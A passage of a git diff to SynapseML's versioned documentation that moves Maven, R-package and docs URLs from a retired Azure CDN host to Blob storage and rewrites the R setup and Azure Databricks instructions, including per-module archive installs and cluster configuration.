1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.7` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.7 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.7.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.8/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.0.8/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.0.8/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.0.8/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.0.8/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.8/Explore Algorithms/Deep Learning/Getting Started.md index d23cc8330d2..ab1efa3214f 100644 --- a/website/versioned_docs/version-1.0.8/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.8/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.8 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.8 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.8/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.8/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index 20c2cdf152c..403c46a2d07 100644 --- a/website/versioned_docs/version-1.0.8/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.8/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.8 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.8/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.8/Get Started/Install SynapseML.md index 394d45daca1..68617a1842d 100644 --- a/website/versioned_docs/version-1.0.8/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.8/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.8", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.8 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.8") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.8 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.8" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.8` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.8/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.8/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.8/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.8/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.8/Reference/R Setup.md b/website/versioned_docs/version-1.0.8/Reference/R Setup.md index d7588702db2..132570c4809 100644 --- a/website/versioned_docs/version-1.0.8/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.8/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.8.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.8.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.8.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.8.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.8.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.8.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.8.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.8" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.8` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.8 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.8.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.9/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.0.9/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.0.9/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.0.9/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.0.9/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.9/Explore Algorithms/Deep Learning/Getting Started.md index 582ad3901c2..9ed71f4efa0 100644 --- a/website/versioned_docs/version-1.0.9/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.9/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.9 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.9 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.9/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.9/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index dff95529583..b1d3da773f2 100644 --- a/website/versioned_docs/version-1.0.9/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.9/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.9 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.9/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.9/Get Started/Install SynapseML.md index c8d078e1f22..57af50f56a5 100644 --- a/website/versioned_docs/version-1.0.9/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.9/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.9", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.9 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.9") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.9 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.9" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.9` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.9/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.9/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.9/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.9/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.9/Reference/R Setup.md b/website/versioned_docs/version-1.0.9/Reference/R Setup.md index e0ee22d5b0e..beaf765e93a 100644 --- a/website/versioned_docs/version-1.0.9/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.9/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.9.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.9.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.9.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.9.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.9.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.9.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.9.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.9" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.9` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.9 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.9.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", 